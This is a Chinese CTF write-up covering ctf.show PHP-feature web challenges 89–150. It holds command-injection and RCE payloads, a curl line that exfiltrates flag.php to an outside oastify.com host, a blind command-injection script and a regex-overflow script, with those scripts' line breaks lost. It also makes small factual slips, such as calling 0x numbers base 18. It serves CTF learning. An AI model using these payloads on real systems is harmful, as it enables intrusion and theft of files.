ctf_show笔记篇(web入门---php特性)

目录

 php特性

89:直接数组绕过preg_match当遇到数组时会直接报错输出0

90:这里利用了intval的特性

91:这里需要细节一点

92-93:这两题的方法很多可以发散思维

94:还是利用小数绕过例如4476.0

95:这里在最前面使用%0a或者随便一个其他的添加一个字节隔离开在使用八进制就可以绕过

96:可用php伪协议或者./flag.php绕过

97:简单的数组绕过

98:php三元运算符

99:in_array函数漏洞

100:没有设置什么过滤直接命令执行就好###101题的弱化版

101:ReflectionClass 建立反射类

102:还是写一句话木马进服务器

113:和102同理只是把php改为

114:随便上传两个相同的字符

105:考察变量覆盖

106:这里直接可以用数组绕过,和绕过MD5一样,都是sha加密

107:parse_str函数

​编辑

108:简单绕过

109:这里学到了利用反序列化的__construct魔法函数来利用

110:php的内置函数FilesystemIterator的利用

111:直接利用php的全局变量

112和114:直接利用php伪协议读取

113:is_file函数能处理的长度有限制

115:

123:在php中参数加'.'会被替换掉,除非参数中含有'+'或者'空格'或者'[ ]'这些,这些会被替换为'_',并且保留'.'这一类会被替换掉的符号

125:和123差不多,但是过滤更干净了,利用函数嵌套

126:这里利用到了$a=$_SERVER['argv'];

127:利用php的特性绕过

128:新知识点

129:stripos(1,2)查找2在1中第一次出现的位置

130:直接绕过,0相当于FALLS

131:关于PHP正则的溢出

132:关于php的逻辑运算符

133:利用变量覆盖再利用curl可以传输文件信息

134:$_POST是个幌子

135:这里同样可以用curl来解,利用反斜杠绕过就可以,前提是他没有禁用反斜杠

136:tee命令,可以实现输出又能输入到文件

137:call_user_func()函数调用方法

138:相当于禁用了::

139:命令盲注###这里有个问题,{}这个括号可能跑不出来要自己加

140:让传入的两个函数运行后是0或者false或空

141:利用php计算来绕过return

142:0乘任何数都为0

143:这里和141同理,但是将取反的符号过滤了,所以这里用异或

144:也是同样的只是稍微绕了一下(使用取反,异或,或,都可以)

145:这里其他都还是和143-144一样,只是使用php的if函数的变式来绕过

146:'|','^'同样也可以当作运算符用来绕过return

147:涉及两个知识点create_function的代码注入以及php命令空间

148:异或绕过即可或者非预期

149:条件竞争或者直接在index.php中插入木马

150:这里有多种方法可以解,非预期、日志文件包含、session文件包含、临时文件上传###这里演示一种

 150_plus:这一题利用phpinfo来进行条件竞争创建webshell在服务器上


 php特性

89:直接数组绕过preg_match当遇到数组时会直接报错输出0

90:这里利用了intval的特性

payload:

num=4476%0a

4476%0a不绝对等于4476应为%0a相当于是空格

但是intval(4476%0a,0)这里intval函数用于获取变量的整数值,所以会排除掉%0a所以

intval(4476%0a,0)===4476

intval(a,b)

如果b=0那么会自己去判断a是什么进制,例如a=0x开头则是18进制,0开头则是8进制,也可以直接设置b=10进制之类的

91:这里需要细节一点

/m会多行匹配意思就是

a

php

这样也能匹配到

而这里就只能匹配第一行所以能绕过

92-93:这两题的方法很多可以发散思维

  1. 利用intval可以计算其他进制来绕过,例如使用八进制   payload:010574
  2. 或者利用intval取整的特性4476.1####92题不行
  3. 92题可以使用16进制绕过

94:还是利用小数绕过例如4476.0

这里不知道为什么4476.0可以但是4476.1或者4476.2其他的数字不行

95:这里在最前面使用%0a或者随便一个其他的添加一个字节隔离开在使用八进制就可以绕过

payload:

%0a010574

96:可用php伪协议或者./flag.php绕过

97:简单的数组绕过

原理:当md5函数加密数组时会报错NULL,当两a和b同时都是数组时,md5(a)===md5(b)等于NULL===NULL

解法2:利用明文不同但是hashi值相同的两个字符串

98:php三元运算符

三元运算符就是php的if函数的变式:

例如:$a = $b == 3?4:5;   等同于if($b == 3){$a = 4}else{$a == 5}

$_GET?$_GET=&$_POST:'flag';

等于if($_GET){$_GET=&$_POST}else{'flag'}

解析:当通过get方式传入参数时就把get传入参数改为post传入参数

$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';

因为已经表名了当通get传参直接变成POST传参所以这里应该变为

if($_POST['flag']=='flag'){$_POST=&$_COOKIE}else{'flag'}

解析:只要有通过post传输参数flag=flag,那么POST传入参数改为COOKIE传入参数

$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';

还是同理,因为了通过post传输参数flag=flag直接变成COOKIE传参所以这里应该变为

if($_COOKIE['flag']=='flag'){$_COOKIE=&_SERVER}else{'flag'}

解析:只要有通过COOKIE传输参数flag=flag,那么COOKIE传入参数改为SERVER传入参数

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

最后这里

highlight_file(if($_SERVER['HTTP_FLAG']=='flag'){$flag}else{__FILE__})

所以最后payload:

  1. ?a=1               ####随便传入一个get引用第一个方法将$_GET传参改为$_POST
  2. post传参:flag=flag       ####将$_POST传参改为$_COOKIE
  3. Cookie: flag=flag         ####将$_COOKIE传参改为$_SERVER
  4. Flag: flag          ####获取到flag

99:in_array函数漏洞

当type参数没有设置的话他不会检查数据和数组的类型是否相同

例如:

in_array(1.abc,1),一个是字符串一个是数组,但是没有设置第三个参数,就可以形成自动转换,1.abc自动转换为1

100:没有设置什么过滤直接命令执行就好###101题的弱化版

payload1:

?v1=21&v2=var_dump($ctfshow)/*&v3=*/;

payload2:

?v1=1&v2=system('ls')/*&v3=*/;

payload3:

?v1=1&v2=cp ctfshow.php 1.txt/*&v3=*/;    ####访问1.txt就可以访问

101:ReflectionClass 建立反射类

从提示可知少给了一位flag,拿到bp爆破就好

102:还是写一句话木马进服务器

substr(a,b)函数是一个截取函数,a是需要被截取的字符串,b是需要从第几位开始截取###从零开始数

call_user_func函数类似于一种特别的调用函数的方法

file_put_contents函数是一个写入字符串进文件的函数,也可以通过此函数创建文件并写入东西

构造payload:

113:和102同理只是把php改为<?=就好,这个等同于<?php echo

114:随便上传两个相同的字符

105:考察变量覆盖

foreach函数:通过get传入?a=b那么通过foreach函数使$key=a而$value=b

$$key=$$value,这里的意思就是把原本的值当作变量名用了

这里的就相当于是$$key=$$value    <>    $a=$b

106:这里直接可以用数组绕过,和绕过MD5一样,都是sha加密

107:parse_str函数

这里会通过parse_str把$v1的值给$v2有点像赋值

给v1传入flag=1,赋值以后,$v2=([flag] => 1)

108:简单绕过

ereg(a,b)类似于搜索,a是条件类似于正则,b使字符串如果b中有a的要求的东西则输出真

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过

strrev()是取反函数传入abc返回cba这种

109:这里学到了利用反序列化的__construct魔法函数来利用

__cddonstruct魔法函数当使用new实例化一个对象的时候就会引用

payload:

v1=

class{

    public function __construct(){

        system('ls')

    }

}

v2=1

连起来就是echo new (class{public function __construct(){system('ls')}}1())

110:php的内置函数FilesystemIterator的利用

FilesystemIterator()可以读取指定的目录文件

fetcwd()可以获取当前目录的路径

111:直接利用php的全局变量

112和114:直接利用php伪协议读取

113:is_file函数能处理的长度有限制

解答1:

/proc/self/root表示根目录

利用这个多次添加让is_file函数认为这不是个文件

解答2:

php中的zip伪协议

官方用法compress.zlib://file.gz         compress.zlib://file.bz2

115:

trim()函数用于移除字符串两侧的空格

这里利用%0c绕过相当于是<,并且并不会被trim过滤掉,并且输入的参数还是int型

123:在php中参数加'.'会被替换掉,除非参数中含有'+'或者'空格'或者'[ ]'这些,这些会被替换为'_',并且保留'.'这一类会被替换掉的符号

125:和123差不多,但是过滤更干净了,利用函数嵌套

126:这里利用到了$a=$_SERVER['argv'];

$_SERVER['argv']:

传递给该脚本的参数的数组。脚本以命令行方式运行时,argv变量传递给程序C语言样式的命令行参数。当通过GET方式调用时,该变量包含query string。

大致来说就是会把接收的数据变成数组,数据用分隔号隔开例如+之类的

payload:

get:$a=a+fl0g=flag_give_me

post=CTF_SHOW=2&CTF[SHOW.COM=1&fun=parse_str($a[1])

这里通过$_SERVER['argv']给$a指定了他的方式

第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数(例如这样的$a[1])

parse_str函数:

127:利用php的特性绕过

$_SERVER['QUERY_STRING']获取 URL 数据并使用 PHP 中的 Explode 函数将数据转换为数组

128:新知识点

_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll

get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag

129:stripos(1,2)查找2在1中第一次出现的位置

利用目录穿越例如/ctfshow/../../../etc/passwd

130:直接绕过,0相当于FALLS

131:关于PHP正则的溢出

当存在这样的情况时可能会出现正则溢出的情况

例如:

原字符:abcd                正则:.*?d

这里的.*?会率先匹配第一个字符a但是他选择先不匹配,因为是非贪婪模式(在可以匹配和不匹配之间优先选择不匹配),这里会把选择权给d,d回去匹配下一个字符b,如果不匹配选择权又会回到.*?去匹配b,但是还是因为非贪婪模式,不回去直接匹配,又把选择权给d,直到匹配到最后一个字符d才会停下

import requestsurl = r'http://a3835817-be92-4fb2-ba94-2db402037f5a.challenge.ctf.show/'data = {'f': 'aaaaaaaa'*130000+'36Dctfshow'
}a = requests.post(url=url, data=data)
print(a.text)

132:关于php的逻辑运算符

对于“与”(&&) 运算: x && y 当xfalse时,直接跳过,不执行y
对于“或”(||) 运算 :   x||y 当xtrue时,直接跳过,不执行y

133:利用变量覆盖再利用curl可以传输文件信息

payload:`$F`;+curl -X POST -F a=flag.php https://lj8u9k8tr39ry1cpwrqhz7ndd4jx7nvc.oastify.com

134:$_POST是个幌子

$_SERVER['QUERY_STRING']:

这里会获取url里?后面的数据

parse_str():

将这样的a=1&b=2给附上值,变成$a=1  $b=2

extract():

把数组的键值和键名当作变量名和变量值,例如a[b]=c那么extract(a[b])    <==>    b=c

135:这里同样可以用curl来解,利用反斜杠绕过就可以,前提是他没有禁用反斜杠

136:tee命令,可以实现输出又能输入到文件

例如:cat flag.php|tee 1       看flag.php文件又能输出到文件1里

137:call_user_func()函数调用方法

调用类里的方法时

array("a","b")   <==>   a::b

138:相当于禁用了::

但是call_user_func(array("a","b"))使用array创建数组调用类里面的方法

所以传输的时候可以使用变式,直接传数组

例如:a[0]=a     a[1]=b       这样和使用array来创建数组是相同的

139:命令盲注###这里有个问题,{}这个括号可能跑不出来要自己加

ls / -1  自动换行     awk  "NR==1"  取第一排      cut -c 1  取第一个

if [ a == b ];then echo 123;fi     if的[]里必须有间隔不然会报错,如果a等于b执行then echo 123,错误则执行fi

import requestsurl = r"http://16c540da-b9a6-4523-bccd-019f974cb794.challenge.ctf.show/?c="
flag1 = "qwertyuiopasdfghjklzxcvbnm_-=+[]{};\':\",./<>?123456789."
flag = ""for i in range(1, 6):for a in range(1, 32):for b in flag1:payload = f"if [ `ls / -1|awk \"NR=={i}\"|cut -c {a}` == \"{b}\" ];then sleep 4;fi"try:requests.get(url=url+payload, timeout=3)except:flag += bprint(flag)break

140:让传入的两个函数运行后是0或者false或空

141:利用php计算来绕过return

 ####这里141和143-144可以去看我的这篇博文

无字母数字rce总结(自增、取反、异或、或、临时文件上传)-CSDN博客

/^\W+$/ 作用是匹配非数字字母下划线的字符

可使用取反来绕过

<?phpecho urlencode(~'system');
echo '  ';
echo urlencode(~'\'ls\''

1-phpinfo()-1  =  2       return在输出计算结果的同时,也会把phpinfo()的结果输出

payload:v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%D8%93%8C%D8)-

142:0乘任何数都为0

143:这里和141同理,但是将取反的符号过滤了,所以这里用异或

 ####这里141和143-144可以去看我的这篇博文

无字母数字rce总结(自增、取反、异或、或、临时文件上传)-CSDN博客

144:也是同样的只是稍微绕了一下(使用取反,异或,或,都可以)

只是把v2和v3换了个位置,给v2赋值‘-’

 ####这里141和143-144可以去看我的这篇博文

无字母数字rce总结(自增、取反、异或、或、临时文件上传)-CSDN博客

145:这里其他都还是和143-144一样,只是使用php的if函数的变式来绕过

1?a:b

等同于

if 1{

a;

}else{

b;

}

payload:

(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5)

system  cat f*

146:'|','^'同样也可以当作运算符用来绕过return

147:涉及两个知识点create_function的代码注入以及php命令空间

create_function的代码注入###本函数已自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除

此函数在内部执行  eval(),因此具有跟  eval() 相同的安全问题,就是因为他创建匿名函数的同时会内部执行eval,就会直接将里面的参数全部执行了

​​​例如:
create_function(a,b)
等同于
function xxx(a){
b
}
php命令空间
在PHP中普通的调用函数方式相当于是调用的相对路径,例如调用create_function,其实是调用的\create_function此路径的函数,在php中可以自定义命名空间,但是最基本的命名空间就是调用\下面的函数

148:异或绕过即可或者预期解

149:条件竞争或者直接在index.php中插入木马

150:这里有多种方法可以解,非预期、日志文件包含、session文件包含、临时文件上传###这里演示一种

日志文件包含:

这里需要vip这个变量等于1  isvip函数才会返回true才能最后利用到这里的include函数

if($isVIP && strrpos($ctf, ":")===FALSE){include($ctf);
}
而要让isVIP这个变量赋值为1,需要利用到extract函数####这里134题也讲过

extract():

把数组的键值和键名当作变量名和变量值,例如a[b]=c那么extract(a[b])    <==>    b=c

 150_plus:这一题利用phpinfo来进行条件竞争创建webshell在服务器上

class_exists检查类是否被定义

__autoload — 尝试加载未定义的类会被调用

利用extract(..CTFSHOW..);来覆盖$__CTFSHOW__

####关于符号  ' . '  这个在之前做过解释,在php里,变量如果使用特殊字符如'['和'.'还有空格这一类的,会自动被加载为_

这里似乎被删减过,只要找到phpinfo就能获得flag

最后payload:?..CTFSHOW..=phpinfo

但是这里还是要对这个条件竞争做一个笔记

这里是vuhub上做出的解释

##不理解为什么会出现临时文件可以去看这篇无字母数字rce总结(自增、取反、异或、或、临时文件上传)-CSDN博客

大致来讲就是,通过post传入参数时同时上传的文件会被服务器存为临时文件,但在每次执行完命令之后就会立马删除,必须要在它没删除之前访问它才能让他保留,但这种情况几乎不存在,所以需要卡bug,通过phpinfo页面来增加他执行完成的时间,上面有原理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/267941.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【ArcGIS】统计格网中不同土地利用类型占比

基于ArcGIS统计格网中不同土地利用类型占比 数据准备ArcGIS操作步骤1、创建渔网&#xff08;Create Fishnet&#xff09;2、建立唯一标识3、选择格网4、提取不同类别土地利用类型5、各类用地面积计算 参考另&#xff1a;可能出现的问题总结Q1&#xff1a;ArcGIS获取唯一值&…

7.1.1 selenium介绍及安装chromedriver

目录 1. Selenium的用途 2. 安装Selenium库 3. 安装chromedriver 1. 查看谷歌版本号​编辑 2. 找到最新版本及下载 3. 配置环境变量 4. 检测是否配置成功 5. 用python初始化浏览器对象检测&#xff1a; 6. 参考链接 1. Selenium的用途 在前面我们提到&#xff1a;在我…

端智能:面向手机计算环境的端云协同AI技术创新

近年来&#xff0c;随着移动端设备软硬件能力的进步&#xff0c;移动端的算力有了很大提升&#xff0c;同时面向移动端的机器学习框架和模型轻量化技术越来越成熟&#xff0c;端上的AI能力逐渐进入大众视野&#xff0c;端智能在电商领域也开始逐步走向规模化应用。通过持续探索…

Leetcoder Day36| 动态规划part03

343. 整数拆分 给定一个正整数 n&#xff0c;将其拆分为至少两个正整数的和&#xff0c;并使这些整数的乘积最大化。 返回你可以获得的最大乘积。 示例 1: 输入: 2输出: 1解释: 2 1 1, 1 1 1。 示例 2: 输入: 10输出: 36解释: 10 3 3 4, 3 3 4 36。说明: 你可以假设 …

Day04:APP架构小程序H5+Vue语言Web封装原生开发Flutter

目录 常见APP开发架构 APP-开发架构-原生态-IDEA APP-开发架构-Web封装-平台 APP-开发架构-H5&Vue-HBuilderX WX小程序-开发架构-Web封装-平台 WX小程序-开发架构-H5&Vue-HBuilderX 思维导图 章节知识点&#xff1a; 应用架构&#xff1a;Web/APP/云应用/三方服…

ROS开发基础-Linux基础第四部(开发板设置本地IP)

一 、网线连接设备 使用网线连接jetson NX与机械臂&#xff0c;如下图所示&#xff1a; 二、 修改上位机IPV4 IP ①测试是否可连接。网线连接机械臂之后&#xff0c;在桌面打开终端输入命令“ping 192.168.1.18”,如不可正常通信&#xff0c;可按照下述步骤进行设置。 ②在U…

TypeScript08:在TS中使用模块化

前言&#xff1a;tsconfig.json中的配置 一、前端领域中的模块化标准 前端领域中的模块化标准有&#xff1a; ES6、commonjs、amd、umd、system、esnext 二、 TS中如何书写模块化语句 TS 中&#xff0c;导入和导出模块&#xff0c;统一使用 ES6 的模块化标准。 myModule.ts &a…

如何使用ArcGIS Pro创建最低成本路径

虽然两点之间直线最短&#xff0c;但是在实际运用中&#xff0c;还需要考虑地形、植被和土地利用类型等多种因素&#xff0c;需要加权计算最低成本路径&#xff0c;这里为大家介绍一下计算方法&#xff0c;希望能对你有所帮助。 数据来源 教程所使用的数据是从水经微图中下载…

社区店商业计划书撰写指南:让你的项目脱颖而出

对于想要开实体店或创业的朋友们&#xff0c;撰写一份完整而有说服力的商业计划书是迈向成功的重要一步。 作为一名开鲜奶吧5年的创业者&#xff0c;我将分享一些关键的要点和技巧&#xff0c;帮助你撰写一份出色的社区店商业计划书。 1、项目概述&#xff1a; 在计划书的开头…

Java | Java中与文件同名的类的构造函数的调用

在Java的学习过程中遇到了这样一段代码&#xff1a; public class Test1 {int a1;public static void main(String []args){System.out.println("java");}public Test1(){System.out.println("构造函数");} }它的运行结果是这样的&#xff0c;构造函数中的…

第 1 章 微信小程序与云开发从入门到实践从零开始做小程序——开发认识微信小程序

小北的参考工具书 小程序开发的图书并不少&#xff0c;这本书仍然值得你拥有&#xff01; 首先&#xff0c;这是一本全栈小程序开发教程&#xff0c;循序渐进&#xff0c;由浅入深&#xff0c;介绍了小程序开发你想了解的方方面面&#xff0c;包括近其小程序开发的各种新技术应…

C++中的const总结

const修饰成员函数 用const修饰的成员函数时&#xff0c;const修饰this指针指向的内存区域&#xff0c;成员函数体内不可以修改 本类中的任何普通成员变量&#xff0c; 当成员变量类型符前用mutable修饰时例外。 int myFun(void) const //const修饰的是成员函数 2 {}//函数内…

智慧市容环境卫生管理信息系统建设项目初步设计参考指南

第四章项目建设方案 梳理和编制数据标准规范&#xff0c;为数据体系建设提供建设指导。数据标准规范体系是根据统一市容环卫基础数据资源建立的&#xff0c;从要素分类、编码、符号、制图、更新机制等层 面解决各类规划标准不衔接、各自为政问题。标准规范体系包括&#xff1…

PBM学习——从基础到精通!!!

本专栏着重讲解PBM学习所得&#xff0c;学习笔记、心得&#xff0c;并附有视频素材资料&#xff0c;视频详细目录如下&#xff1a; PBM相关参数解释1 PBM相关参数解释2 PBM相关案例实践1 PBM相关案例实践2 PBM相关案例实践2 PBM相关案例实践3 PBM多相流中次相界面设置1 PBM多相…

【心理】MOOC心理咨询的理论与方法:会谈技巧课程笔记

程序员生活指南&#xff08;情绪与压力篇&#xff09;之 【心理】MOOC心理咨询的理论与方法&#xff1a;会谈技巧课程笔记 文章目录 1、课程地址2、课程信息3、课程笔记3.1 参与性技术单元测验3.2 影响性技术单元测验 1、课程地址 地址 2、课程信息 心理咨询基本理念 尊重&a…

LeetCode---386周赛

题目列表 3046. 分割数组 3047. 求交集区域内的最大正方形面积 3048. 标记所有下标的最早秒数 I 3049. 标记所有下标的最早秒数 II 一、分割数组 这题简单的思维题&#xff0c;要想将数组分为两个数组&#xff0c;且分出的两个数组中数字不会重复&#xff0c;很显然一个数…

DM数据库学习之路(十九)DM8数据库sysbench部署及压力测试

sysbench部署 安装依赖 yum -y install make automake libtool pkgconfig libaio-devel vim-common 上传sysbench源代码 sysbench_tool.tar 测试是否安装成功 $ /opt/sysbench/sysbench-master-dpi/src/lua $ ./sysbench --version sysbench 1.1.0 sysbench测试DM 测试…

反序列化逃逸 [安洵杯 2019]easy_serialize_php1

打开题目 题目源码&#xff1a; <?php$function $_GET[f];function filter($img){$filter_arr array(php,flag,php5,php4,fl1g);$filter /.implode(|,$filter_arr)./i;return preg_replace($filter,,$img); }if($_SESSION){unset($_SESSION); }$_SESSION["user&qu…

巧【二叉搜索树的最近公共祖先】【二叉搜索树的性质】Leetcode 235. 二叉搜索树的最近公共祖先

【二叉搜索树的最近公共祖先】【二叉搜索树性质】Leetcode 235. 二叉搜索树的最近公共祖先 【巧】解法1 利用二叉搜索树有序的性质解法2 采用二叉树求最近公共祖先的方法——后序遍历 ---------------&#x1f388;&#x1f388;235. 二叉搜索树的最近公共祖先 题目链接&#x…

[通用] iPad 用于 Windows 扩展屏解决方案 Moonlight + Sunshine + Easy Virtual Display

文章目录 前言推流端 Sunshine 安装设置接收端安装 Moonlight安装虚拟屏幕软件 Easy Virtual Display 前言 上期博客讲了如何利用原生的 NVIDIA’s GameStream 传输协议实现 iPad 当作 Windows 副屏&#xff0c;对于非N卡用户&#xff0c;有一个软件 Sunshine 可以代替 Nvidia…